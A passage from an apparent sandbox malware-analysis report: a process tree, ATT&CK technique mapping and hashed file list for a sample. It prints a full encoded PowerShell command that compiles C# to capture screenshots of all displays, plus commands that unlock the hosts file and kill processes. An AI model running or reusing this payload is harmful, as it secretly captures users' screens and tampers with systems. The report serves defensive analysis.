      powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
      4⤵
      PID:5508
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\km1zm1ir\km1zm1ir.cmdline"
        5⤵
        
        PID:5868
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESDA78.tmp" "c:\Users\Admin\AppData\Local\Temp\km1zm1ir\CSC3820814423E43E5B25BBD75956A62AB.TMP"
        6⤵
        
        PID:5632
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"
    3⤵
    PID:5836
  - - C:\Windows\system32\attrib.exe
      attrib -r C:\Windows\System32\drivers\etc\hosts
      4⤵
      Views/modifies file attributes
      PID:1088
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    PID:5716
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:5448
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    PID:5320
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:5388
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"
    3⤵
    PID:5972
  - - C:\Windows\system32\attrib.exe
      attrib +r C:\Windows\System32\drivers\etc\hosts
      4⤵
      Views/modifies file attributes
      PID:6096
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    PID:6052
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:6132
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    PID:5432
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      PID:5920
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    PID:5688
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:5196
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    PID:5184
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:5428
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /F /PID 1668"
    3⤵
    PID:5320
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /PID 1668
      4⤵
      Kills process with taskkill
      PID:5620
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /F /PID 1668"
    3⤵
    PID:6068
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /PID 1668
      4⤵
      Kills process with taskkill
      PID:1088
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /F /PID 332"
    3⤵
    PID:1780
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /PID 332
      4⤵
      Kills process with taskkill
      PID:1920
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /F /PID 332"
    3⤵
    PID:5844
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /PID 332
      4⤵
      Kills process with taskkill
      PID:5676
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /F /PID 1348"
    3⤵
    PID:5224
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /PID 1348
      4⤵
      Kills process with taskkill
      PID:5764
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /F /PID 1348"
    3⤵
    PID:5768
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /PID 1348
      4⤵
      Kills process with taskkill
      PID:5952
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /F /PID 4628"
    3⤵
    PID:5948
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /PID 4628
      4⤵
      Kills process with taskkill
      PID:5348
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /F /PID 4628"
    3⤵
    PID:5452
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /PID 4628
      4⤵
      Kills process with taskkill
      PID:5824
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /F /PID 3396"
    3⤵
    PID:5836
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /PID 3396
      4⤵
      Kills process with taskkill
      PID:5920
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /F /PID 3396"
    3⤵
    PID:1760
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /PID 3396
      4⤵
      Kills process with taskkill
      PID:5568
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /F /PID 4088"
    3⤵
    PID:6076
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /PID 4088
      4⤵
      Kills process with taskkill
      PID:5692
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /F /PID 4088"
    3⤵
    PID:1444
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /PID 4088
      4⤵
      Kills process with taskkill
      PID:5248
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /F /PID 3288"
    3⤵
    PID:332
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /PID 3288
      4⤵
      Kills process with taskkill
      PID:5964
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /F /PID 3288"
    3⤵
    PID:5344
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /PID 3288
      4⤵
      Kills process with taskkill
      PID:5832
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /F /PID 1992"
    3⤵
    PID:5548
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /PID 1992
      4⤵
      Kills process with taskkill
      PID:6124

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Wi-Fi Discovery

T1016.002

Lateral Movement

Collection

Clipboard Data

T1115

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\D3DSCache\cb00da9ba77862e\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.idx

Filesize
64KB

MD5
b5ad5caaaee00cb8cf445427975ae66c

SHA1
dcde6527290a326e048f9c3a85280d3fa71e1e22

SHA256
b6409b9d55ce242ff022f7a2d86ae8eff873daabf3a0506031712b8baa6197b8

SHA512
92f7fbbcbbea769b1af6dd7e75577be3eb8bb4a4a6f8a9288d6da4014e1ea309ee649a7b089be09ba27866e175ab6f6a912413256d7e13eaf60f6f30e492ce7f

Download Submit
C:\Users\Admin\AppData\Local\D3DSCache\cb00da9ba77862e\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.lock

Filesize
4B

MD5
f49655f856acb8884cc0ace29216f511

SHA1
cb0f1f87ec0455ec349aaa950c600475ac7b7b6b

SHA256
7852fce59c67ddf1d6b8b997eaa1adfac004a9f3a91c37295de9223674011fba

SHA512
599e93d25b174524495ed29653052b3590133096404873318f05fd68f4c9a5c9a3b30574551141fbb73d7329d6be342699a17f3ae84554bab784776dfda2d5f8

Download Submit
C:\Users\Admin\AppData\Local\D3DSCache\cb00da9ba77862e\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.val

Filesize
1008B

MD5
d222b77a61527f2c177b0869e7babc24

SHA1
3f23acb984307a4aeba41ebbb70439c97ad1f268

SHA256
80dc3ffa698e4ff2e916f97983b5eae79470203e91cb684c5ccd4ff1a465d747

SHA512
d17d836ea77aeaff4cd01f9c7523345167a4a6bc62528aac74acde12679f48079d75d159e9cea2e614da50e83c2dcd92c374c899ea6c4fe8e5513d9bf06c01ff

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\4100b0fb-5659-4053-b1b9-075384c97678.tmp

Filesize
102KB

MD5
bf67df9d840f84d87ddc99101d56f3f2

SHA1
e69e767cced629d007a057b557ab4bf780920361

SHA256
dd67595f0463234a8107cb4b4e4ea3383f35ed87301dc682352c11222624d9ea

SHA512
de39b2aaa2ae55a67ff09b68cac46a31634402827d110f595a56b3d63b07b1ebd48671154305db9c7ebe7e15af86d389a467b00953ad4dd5ac2010047a7bff90

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad\settings.dat

Filesize
40B

MD5
d56c90cf1ff6567d934977fb178605c0

SHA1
2ba4bf90593b46f86073a990dc239b2ef9c15bec

SHA256
e4961ea48767fcd80a6c626350ec730c8fbcf7c84ce5a5097beb96af7aac2fdb

SHA512
6dee81c94e4b04831a3087c3016666a06a001ef0f5da9dbb0a1102e2da6caf60dcbd479e47a18bc39a7f8da7c0a3024a05c2913408a8acf2c890e19b2d9ee0db

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState

Filesize
649B

MD5
8132875c7db79a448a596f92e8029ab4

SHA1
a2970dc6fe4742782d7283b40b2272ff3e6ce4b1

SHA256
2df7bb82c7703881ee7dc60d9ee06e30ca864ab08dec377bab2da30b080ded56

SHA512
b9935846a57ec86788600e40ed8b1b891f723343788cde8ab2493d73b409ec465a1b77f81fe60cad4ea711192da565fabb58c683663bde03df49e5681f7e0363

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\f_000004

Filesize
212KB

MD5
08ec57068db9971e917b9046f90d0e49

SHA1
28b80d73a861f88735d89e301fa98f2ae502e94b

SHA256
7a68efe41e5d8408eed6e9d91a7b7b965a3062e4e28eeffeefb8cdba6391f4d1

SHA512
b154142173145122bc49ddd7f9530149100f6f3c5fd2f2e7503b13f7b160147b8b876344f6faae5e8616208c51311633df4c578802ac5d34c005bb154e9057cf

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\f_000005

Filesize
24KB

MD5
c594a826934b9505d591d0f7a7df80b7

SHA1
c04b8637e686f71f3fc46a29a86346ba9b04ae18

SHA256
e664eef3d68ac6336a28be033165d4780e8a5ab28f0d90df1b148ef86babb610

SHA512
04a1dfdb8ee2f5fefa101d5e3ff36e87659fd774e96aa8c5941d3353ccc268a125822cf01533c74839e5f1c54725da9cc437d3d69b88e5bf3f99caccd4d75961

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\f_000040

Filesize
20KB

MD5
87e8230a9ca3f0c5ccfa56f70276e2f2

SHA1
eb116c8fd20cb2f85b7a942c7dae3b0ed6d27fe7

SHA256
e18d7214e7d3d47d913c0436f5308b9296ca3c6cd34059bf9cbf03126bafafe9

SHA512
37690a81a9e48b157298080746aa94289a4c721c762b826329e70b41ba475bb0261d048f9ab8e7301e43305c5ebf53246c20da8cd001130bf156e8b3bd38b9b8

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\03ae0658db22f33f_0

Filesize
289B

MD5
c9735ace6413ac11a8915dcf8396a5ca

SHA1
5038c0403d35a2b0ced7e98a8ed8a1e66014c47b

SHA256
2f0c21994850586e0cd531382c698779006aa82ad70b567b10113a647164572d

SHA512
941c6a38d0b16aaa78b771ab266ea11de7f927b17c71335a35e67d4ae44250a67a052105fc4bfd08853962562dbeb00700f5d2b43d4183d8cecb455f74455605

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\160d5be393f7f585_0

Filesize
370KB

MD5
86da678f1d12d8c80c8af3a5f5533c22

SHA1
125f52dfcb14a75b2d87e0dbe8a446670a63c802

SHA256
5df091c76f9d3c97e93aa8e410ff1c14bdb85fa8fbf61c34a69896d15d6f8a9d

SHA512
149d2009cca04eaa4858ab85b1f20075338a33a52f21b96d2988ca79fc454410d91f85f7570a8c97bf89eabb049a6c25d023e9634d4817167af55d9ab4a81b41

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\the-real-index

Filesize
2KB

MD5
7287662988f58105894c2cace7a9fc02

SHA1
3508d96f4cefe1036b84b85388188db5bcff6edc

SHA256
a42c17c80c45eb6afb704a142eca3cc9509b50026be17418f1c8419954d22465

SHA512
f49c80cd96460c04c64ccdc8451ae29ddf01b7bbf1391730193d91fae7c212cb734d4cd5b5fa8210c50b312df635291631854dfb94f1f7004a233f93821b7797

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\the-real-index

Filesize
2KB

MD5
b1114359d331c95f30c49f2c2ab1fb6f

SHA1
7957b7eb9157afd8b403d78583adb48c8a03511b

SHA256
c57c97e357e7a3ec337041c503727cd7a277c4126cdd56aefe9feeb9540632ff

SHA512
02c5c38154d0546b811e1cf8ac88dcd712f01119126eb43abd6a947d846e1054b4b00f5d5fa8f736fa805c82e9d7fb6c4de983ff6243fe58ecfa7dd8ff0a37c3

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State

Filesize
24KB

MD5
4b9c027b1e95b0d278b8ffef2bca0c46

SHA1
2b241de9c48aebf5f9902eedef5f1024ca914ac2

SHA256
d322abf76e1427983ab14791e54120c987d94e8d6f224bca9fae95f0ee215431

SHA512
00474b60750a774269707c28fb3da346f827e8b91e9bf3979fc3b926165940bd4d9e0df502644968382e98db25c2683e425fe74ab79542ad64b6ff7176236bf4

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State

Filesize
28KB

MD5
3b10628a500aee79232a10f9d23fb4dc

SHA1
e7d070d3fe589d7bd6bfa8b305d4eb6778b66096

SHA256
dcb0f273a4ba1988b9163b6b90a3df56ec5df8519c0acd4a27803f724a6131f6

SHA512
e0014ff1285d0e88180af7deec65165683f464bc59a94bd4854ea8110f4e3f6dd1d1b5e7a2c7fb01ff76a26fa2ed1a27e05c6a3b970de0924e21c5940d414883

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports

Filesize
2B

MD5
d751713988987e9331980363e24189ce

SHA1
97d170e1550eee4afc0af065b78cda302a97674c

SHA256
4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945

SHA512
b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity

Filesize
356B

MD5
29adb87b2fbe872a10c280af57fd0287

SHA1
5ea4706ff5f96d5a9b9e17a283559bab7c5f74a8

SHA256
ea3c4effd81e34dfa36355542f3a0e3a7707a8b30afeac4ea65f5630ad605ba9

SHA512
156c8a61533a4712509b01d6f0708f0aae39dc781330df94641caf6e2f25acbfa3ec3f285b74b3d724d2aa065a1c720f19523f11826095b36fd372afa3c0f3d9

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity

Filesize
859B

MD5
56fbd353a84d27dc915f95ca8019cf9c

SHA1
74832586757b025671a067dd4b244937262cb1fe

SHA256
71433e7a4c7afd65510a1e5f79eaf2cfcdde1704f8a1c47d5f028a51fdd6c158

SHA512
ab5ec2e88af2b327070c186e9723c8bb161a3080c493a8eaed6c548fa121aa2c80b7263371d1b3d5f8d1610a83132b2e01c97ee803c6d755cfe7b3a3d30df039

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity

Filesize
2KB

MD5
90a6fd93605903d4f3f7ad8facb91311

SHA1
441aaa5e78671e4e3e08f6fec87f32aa95af4cdf

SHA256
99f5679be7d160535a26f3245a57d966fde17d2a25221f9609e42abbb2f7b408

SHA512
3de4ac847d652a7a9d08866577be7ec3f93fe11c8387d47944b56d5db6851ffdffd2377af04f1f529b95e1199f1c286850b1e8af1f29c6c172e5bf1a9ab1c7f1

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity

Filesize
4KB

MD5
36f5f52d2ecb14db36630c06b36f4687

SHA1
907fa403f79fab4cf4fdd9ce72df6e0d55acf119

SHA256
3791532cc23f0f156d91c0f72b9a202d5a859448dbab0663c5c88a2ac6b7ba84

SHA512
ff0b05034460c691054bfff557ae10d02de751f6f9274ede29cea4d291a6637b2459eb554792e2c845f737144a500a2120bdcd8ba150185552c1f509a5392485

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity

Filesize
4KB

MD5
fd4943468ff19674e07e459364817821

SHA1
e5960f03cc707977bd73b6544edc50ba2cedad0c

SHA256
34e46234c4c407fbad8ab24b9507b670912d8499fca96f81aab4f1462bf5f933

SHA512
43a17e50cf46c81de0a522e120a5380efec8c20ebf811eab3ea468baa04cd1df24044f9bd532eb66f370bd85a6292a7c3ae7319df5bd05eced8b5380c357f420

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity

Filesize
356B

MD5
5b33385907e743c00c9a716c4af45b69

SHA1
cedf9df09f2352d480b4749b006a135ddb434756

SHA256
91d6947303657a4b692e1aa69dbca61366f547edcc2a3770a629e3c1f04ebbff

SHA512
160035b2d8be5aeffc0c2aedd2556d322c972f1f7d9a4232a42dc795f6d9dbc538d7ec4155f33db925d50c3f139ec91e984097b1ff269c3e24b2ee909987841c

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
9KB

MD5
6af8b35f1cee83321a58bdd01037f024

SHA1
02e2343314ce6b7630fb6827a037b59f28811c19

SHA256
2b073f1472ab5d8c69012f28e1010d4f446dbc96ea7979c1aa9682fab6f32177

SHA512
32fee53a360cd81098c0a834a96385445acf77d2e002ab17c438f5b3dbb3518bf573a2ca08855e44a7b60de387bbc0d31a6b4abbde7edb947720f139f470440e

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
10KB

MD5
ee78b8ab095a6d0b33cff8bdf26bc200

SHA1
c7f66f99786afaa5e8497aa913fae2169aa6285d

SHA256
0664542651070691255f2b5e104e69113b00efdfdda7ed1e34c664cc3314f363

SHA512
db891c01fbe9b419494df02fb1602f5f8a1d2bfc1b3317ac3f703d673d2c3a64df26b1a2ea134cc5534460a6b88c204bb1e212d35f50bca7c644b2256a1d6a9a

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
12KB

MD5
926046f71e39523d3fc6f33f6932ed39

SHA1
2540856b9cfb297362fa5eaa49a8d8d3b3261218

SHA256
a884b650f8ea8c0eed0b0f22b913218aa4d5ab826e22042f24e5445973c7de76

SHA512
eff4dca6f7ab08a00addd609d21569a452834e3281c06301dca997d97604e2155e1c107f8761e3685c5e974ba94a040607cb3bbd36a63dce77b635da7b765ab3

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
12KB

MD5
12122c56ebfd912b6f3725e925498dd5

SHA1
45e154c796bdd3d8dec99151cde4a5695ff33085

SHA256
04839a41bde1c43963cdaac021ac4dc506f1716e9e720a2c0cb276fed8aee847

SHA512
c8c64c9dc2a96b8ee17ff9659d0070d400df46e61567113fa9d05f706c2afb2494b1757689f6c93af7213fec57151fcf27b7653496893f3ab75815910288d631

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
12KB

MD5
5240b423ff3e0ec6120ee92d945d7868

SHA1
cb6a80068df58e34e984bc0ce772002afc52257e

SHA256
f3af8be1942db2aea82f636abe5b535332d8027b11df01efd7ced4b1a48acd54

SHA512
886dde45654eeb95236c97dbbe454b71fe11f58f2dcfe9c09855a9f72edadec3c254bcc3247c85380add175394b7aaf2ae2c343709096ff1212ac01d5e3f129d

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
9KB

MD5
58c819e70a29075f44ec7e8722f2241f

SHA1
4f4c669f205c683ee938f59235804188e3adaf4f

SHA256
dd5563cc303ad3a0032527e7e0f45091527a340e529307cf29800fc4bf6f31a3

SHA512
9bcd0156572d95e80422ad3297c2be7ee6bc62da9418438fb8cc866493ff5433a471d188dd8d991e0b1eedf494a05163babcfa8cc20354c7041d9fc24f02de5b

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
12KB

MD5
17d1d13c63058a9dbc7e8c85727bbc49

SHA1
be57ccd9231e9d87bf246a6c7501a97ae6889bf9

SHA256
5c92307652e63f2da024c0be72dcd34bd8da9e974c9504e049a3a4e9b2f3a2af

SHA512
88c5fd7a0813841c7f237c1e08124b343fa8d211d1da0d4aa704d21326db55181f9523d008f95efcb6538a0fafd72de7cc986ad304f66d6b13e2789c4810e180

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
9KB

MD5
f20ecfbe964e31f8ca6cd5474929e66a

SHA1
064e9db4aa53271191d3750a4d1dd48d2f14182c

SHA256
2ada635e9deceba906290aa968c24e4a4c1fa3874bef037c15c6a1f36293ed10

SHA512
4f773e27deac1e7b2fe8258c96ba1bce042932640e930d54b04d50babf641f445dbaac083f051a77bb5ba1f561c43d26a0b74d0d58919969f8efedc5f55fdc89

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
12KB

MD5
41ac5e567afe98a15057eae4ba029380

SHA1
dab3d3de490eccba3ad575e4f234067126aef008

SHA256
eb1d727906d4cd6b0d63eed79e2ebcd78a0b458bb5e2a3e41bdc61e83403357f

SHA512
18eb9a98b31f6d8a0d0776c634f0a2fdd89a21057164b5f76d63faf91c711566a4b7bf4fcf6171cae199b1bc2c6d91143ffddf0b1b8b626484e0183ceec711a9

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
12KB

MD5
ff3a3bace6f579a42854224c82834366

SHA1
ec0b55318ad3091126b79c11df480ab39f6071d2

SHA256
450b0bc72d9b5c9e540ddf7142460b8ff281540d8937169518fc5a598db960c2

SHA512
bae6566b654982a48b7e7c19f8eb98887812a945a475f1bf4187f55cd477c7b3247dfbb55a21d9d4e55c0e0c315552348e7166b234717247bd6e8162f8440a88

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
12KB

MD5
